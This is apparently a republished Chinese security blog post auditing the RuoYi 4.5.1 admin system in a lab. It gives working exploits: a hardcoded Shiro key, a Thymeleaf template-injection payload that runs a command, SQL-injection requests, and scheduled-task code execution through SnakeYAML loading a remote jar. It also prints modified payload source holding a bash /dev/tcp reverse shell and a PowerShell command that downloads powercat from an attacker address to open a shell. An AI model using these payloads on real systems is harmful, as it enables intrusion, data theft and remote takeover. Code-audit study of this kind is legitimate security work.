【代码审计】若依CMS 4.5.1代码审计

admin 2025年4月10日20:48:23评论9 views字数 7217阅读24分3秒阅读模式

产品介绍

RuoYi是一个后台管理系统,它主要基于经典技术(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)组合构建而成,主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量

环境搭建

产品源码:https://github.com/yangzongzhuan/RuoYi

【代码审计】若依CMS 4.5.1代码审计
下载好对应的CMS安装部署包之后使用IDEA打开工程等待程序自动加载三方的JAR包:
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
变更Server的端口规避端口冲突问题:
【代码审计】若依CMS 4.5.1代码审计
随后启动PHPStudy并新建数据库RY,随后导入数据库文件并更改配置文件application-druid.yml
DBName:ryUsername:RuoyiPassword:Ry@123456
【代码审计】若依CMS 4.5.1代码审计
随后运行RuoYIApplication启动项目
【代码审计】若依CMS 4.5.1代码审计
随后正常启动并反问若依系统:
【代码审计】若依CMS 4.5.1代码审计

代码审计

Shiro反序列化

获取到源代码之后查看pom.xml文件发现其中引入了Shiro组件

C:UsersRedTeamDesktopRuoYi-4.5.1pom.xml

【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计

随后全局搜索"cipherKey"发现配置文件中硬编码了密钥信息——zSyK5Kp6PZAAjlT+eeNMlg==

C:UsersRedTeamDesktopRuoYi-4.5.1ruoyi-adminsrcmainresourcesapplication.yml

【代码审计】若依CMS 4.5.1代码审计
随后发现登录认证中存在rememberMe选项
【代码审计】若依CMS 4.5.1代码审计
随后查看这里的Login可以看到这里已经来到了Shiro对应的Jar包中,说明这里使用的是Shiro进行的鉴权
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
在知道Shiro加密密钥和确认Web使用了Shiro进行登录认证鉴权的前提下可以通过漏洞利用工具直接进行利用(备注:Apache Shiro <=1.2.4版本属于密钥硬编码且使用AES-CBC加密模式,在Apache Shiro 1.2.4版本之后则是由用户指定密钥且加密模式更改为了AES-GCM)
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
Thymeleaf模版注入

在获取到源代码之后查看pom.xml文件发现其中引入了thymeleaf组件且版本为2.0.0低版本

C:UsersRedTeamDesktopRuoYi-4.5.1pom.xml

【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计

随后全局搜索"::"来看那些位置可控,随后发现一处可控位置

C:UsersRedTeamDesktopRuoYi-4.5.1ruoyi-adminsrcmainjavacomruoyiwebcontrollerdemocontrollerDemoFormController.java

【代码审计】若依CMS 4.5.1代码审计
紧接着构造相关恶意载荷并进行触发
POST /demo/form/localrefresh/task HTTP/1.1Host192.168.204.139:8090Content-Length145X-Requested-WithXMLHttpRequestUser-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept*/*Content-Typeapplication/x-www-form-urlencoded; charset=UTF-8Originhttp://192.168.204.139:8090Refererhttp://192.168.204.139:8090/demo/form/localrefreshAccept-Encodinggzip, deflateAccept-Languagezh-CN,zh;q=0.9CookieJSESSIONID=0f9d7684-4bc6-41ce-b7bb-7d1eea7c48abConnectionclosetaskName=1&fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
除了上面的第三方组件外其实还有其他的组件,比如:Druid、Fastjson、Swagger、Velocity,但是经过审计发现Druid前面由于统一使用Shiro鉴权不存在所谓的未授权访问问题,当前的RuoYI只是做了内嵌且有包裹性的认证防护,另外Fastjson则虽然是在漏洞影响范围内但是全局检索"parse("无可控的解析调用位置,Swagger也是仅做的内嵌不存在未授权访问类的问题,Velocity则是因为虽然引入了对应的版本但是参数不可控导致无法进行利用
【代码审计】若依CMS 4.5.1代码审计
SQLInjection安全问题

RuoYI CMS使用了Mybatis持久层框架,而在MyBatis中会使用XML或注解来配置和映射原生信息将接口和Java的POJOs(Plain Ordinary Java Object,普通的Java对象)映射成数据库中的记录,所以我们可以通过全局检索"${}"来确定未使用预编译的可疑位置,随后进行参数回溯分析来确定漏洞是否真实存在,简易示例如下:

【代码审计】若依CMS 4.5.1代码审计
随后根据id定位到上层的DAO层
【代码审计】若依CMS 4.5.1代码审计
随后检索接口的具体调用点有那些位置
【代码审计】若依CMS 4.5.1代码审计
随后在根据调用位置向上回溯Controller层,这里以selectDeptList为例
【代码审计】若依CMS 4.5.1代码审计
从下面代码中的@RequiresPermissions注解表明接口访问权限,@PostMapping注解表明接口调用方式为POST,@ResponseBody注解表明会将返回值写入http响应
【代码审计】若依CMS 4.5.1代码审计
随后我们还需要看一下上层在调用接口的时候是否有做过滤处理——无
【代码审计】若依CMS 4.5.1代码审计
随后我们即可确认此处存在SQL注入问题并访问后台找寻功能位置进行抓包操作
【代码审计】若依CMS 4.5.1代码审计
可以看到正常抓包是没有上述我们分析到的参数的,但是我们可以进行构造dataScope参数来进行注入操作
POST /system/dept/list HTTP/1.1Host192.168.204.139:8090Content-Length40X-Requested-WithXMLHttpRequestUser-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Acceptapplication/json, text/javascript, */*; q=0.01Content-Typeapplication/x-www-form-urlencoded; charset=UTF-8Originhttp://192.168.204.139:8090Refererhttp://192.168.204.139:8090/system/deptAccept-Encodinggzip, deflateAccept-Languagezh-CN,zh;q=0.9CookieJSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845ConnectionclosedeptName=&status=0&params%5BdataScope%5D=
随后丢到Sqlmap中进行验证
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计

同样可以推导出其余的SQL注入点和载荷,下面仅给出一则:

功能位置:用户管理-用户查询

注入参数:params[dataScope]

【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
请求报文载荷
POST /system/user/list HTTP/1.1Host192.168.204.139:8090Content-Length153X-Requested-WithXMLHttpRequestUser-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Acceptapplication/json, text/javascript, */*; q=0.01Content-Typeapplication/x-www-form-urlencodedOriginhttp://192.168.204.139:8090Refererhttp://192.168.204.139:8090/system/userAccept-Encodinggzip, deflateAccept-Languagezh-CN,zh;q=0.9CookieJSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845ConnectionclosepageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=ry&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=
SQL注入验证如下:
【代码审计】若依CMS 4.5.1代码审计
计划任务任意命令执行

全局搜索"execute("关键词后发现在计划任务处存在一处调用点

【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
随后查看其具体的实现类:
【代码审计】若依CMS 4.5.1代码审计
可以调用任意类的任意方法
【代码审计】若依CMS 4.5.1代码审计
这里的isValidClassName主要用于验证是否为class包名
【代码审计】若依CMS 4.5.1代码审计

在这里我们首先会想到的就是直接使用Java原生的java.lang.Runtime.getRuntim().exec("")来执行命令,然而想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数——无参且public,由于Runtime类的构造函数是private的,故而不满足条件,同样当我们想通过反射ProcessBuilder时,虽然可以在new ProcessBuilder的时候可以不加参数但是并不代表ProcessBuilder的构造函数是无参的,因此使用ProcessBuilder的payload也会报错,根据若依的定时任务代码,需要满足以下条件:

  • 方法具有代码执行的潜力
  • 类的构造函数无参且public

  • 调用的方法的参数类型只能是String/int/long/double

在若依中的三方组件引入了snake,所以我们可以构造以下载荷进行利用:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://fo9aeu.dnslog.cn"]]]]')
【代码审计】若依CMS 4.5.1代码审计
执行任务:
【代码审计】若依CMS 4.5.1代码审计
随后可以看到成功的请求:
【代码审计】若依CMS 4.5.1代码审计

反弹shell时我们可以通过一下方式来进行利用:

Step 1:下载yaml-payload

https://github.com/artsploit/yaml-payload

【代码审计】若依CMS 4.5.1代码审计
随后更改其中要执行的命令载荷
【代码审计】若依CMS 4.5.1代码审计
package artsploit;import javax.script.ScriptEngine;import javax.script.ScriptEngineFactory;import java.io.IOException;import java.util.List;public class AwesomeScriptEngineFactory implements ScriptEngineFactory {    public AwesomeScriptEngineFactory() {        try {            //Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.204.144/4444 0>&1"});Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd");        } catch (IOException e) {            e.printStackTrace();        }    }    @Override    public String getEngineName() {        return null;    }    @Override    public String getEngineVersion() {        return null;    }    @Override    public List<StringgetExtensions() {        return null;    }    @Override    public List<StringgetMimeTypes() {        return null;    }    @Override    public List<StringgetNames() {        return null;    }    @Override    public String getLanguageName() {        return null;    }    @Override    public String getLanguageVersion() {        return null;    }    @Override    public Object getParameter(String key) {        return null;    }    @Override    public String getMethodCallSyntax(String obj, String m, String... args) {        return null;    }    @Override    public String getOutputStatement(String toDisplay) {        return null;    }    @Override    public String getProgram(String... statements) {        return null;    }    @Override    public ScriptEngine getScriptEngine() {        return null;    }}
Step 2:运行下面的命令进行编译生成新的yaml-payload.jar
javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ .
【代码审计】若依CMS 4.5.1代码审计
Step 3:构建web服务托管payload.jar文件
【代码审计】若依CMS 4.5.1代码审计
Step 4:开启监听
【代码审计】若依CMS 4.5.1代码审计
Step 5:执行命令
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.204.144:1234/payload.jar"]]]]')
【代码审计】若依CMS 4.5.1代码审计
随后成功反弹shell回来(备注:这里的计划任务内容中如果创建时内容一致则第二次执行会失效,所以从下面看到的是请求了payloadd.jar,这里做了一个变更不影响正常的反弹shell,另外还需要目标Windows主机无相关的杀软防护,否则容易被查杀,至于Linux则直接使用上面载荷中的/bin/bash进行反弹shell即可):
【代码审计】若依CMS 4.5.1代码审计
在这里我们也可以使用JAVA自身的库和包来做一个简单的测试,构造如下载荷
javax.naming.InitialContext.lookup('ldap://urlcx0.dnslog.cn')
【代码审计】若依CMS 4.5.1代码审计
执行任务之后成功触发恶意载荷:
【代码审计】若依CMS 4.5.1代码审计
文件上传导致XSS风险

通过全局检索fileupload定位到文件上传通用处理工具类位置:

【代码审计】若依CMS 4.5.1代码审计
这里调用FileUploadUtils.upload进行文件上传处理
【代码审计】若依CMS 4.5.1代码审计
随后继续跟进来到upload函数中,紧接着在这里调用重载的upload方法来进行文件上传操作
【代码审计】若依CMS 4.5.1代码审计
校验文件大小以及白名单校验检查导致无法上传恶意脚本来进行GetShell操作
【代码审计】若依CMS 4.5.1代码审计
但是白名单中包含了html文件和pdf文件可以用于进行上传对应类型的文件,如果支持在线解析则可以导致XSS
【代码审计】若依CMS 4.5.1代码审计
【代码审计】若依CMS 4.5.1代码审计
另外RuoYI使用了Swagger-UI,当前的版本不再影响范围之内,但是高版本可以进行进一步核实查看是否可以使用Swagger-UI自身的安全漏洞来打XSS
【代码审计】若依CMS 4.5.1代码审计

文末小结

本篇文章主要站在代码审计角度对Ruoyi CMS从三方组件、配置文件、通用漏洞进行了代码审计并在其中融入了代码审计的一些思路和方法供大家一起探讨,当然在JAVA代码审计中也不仅限于上面的几个维度还有业务逻辑层面的问题更为重要尤其是针对与金融行业的企业来说,关于这一部分等后期有空再专门出一个关于业务逻辑层面的代码审计思路和方法~

 

原文始发于微信公众号(七芒星实验室):【代码审计】若依CMS 4.5.1代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日20:48:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【代码审计】若依CMS 4.5.1代码审计https://cn-sec.com/archives/3937358.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息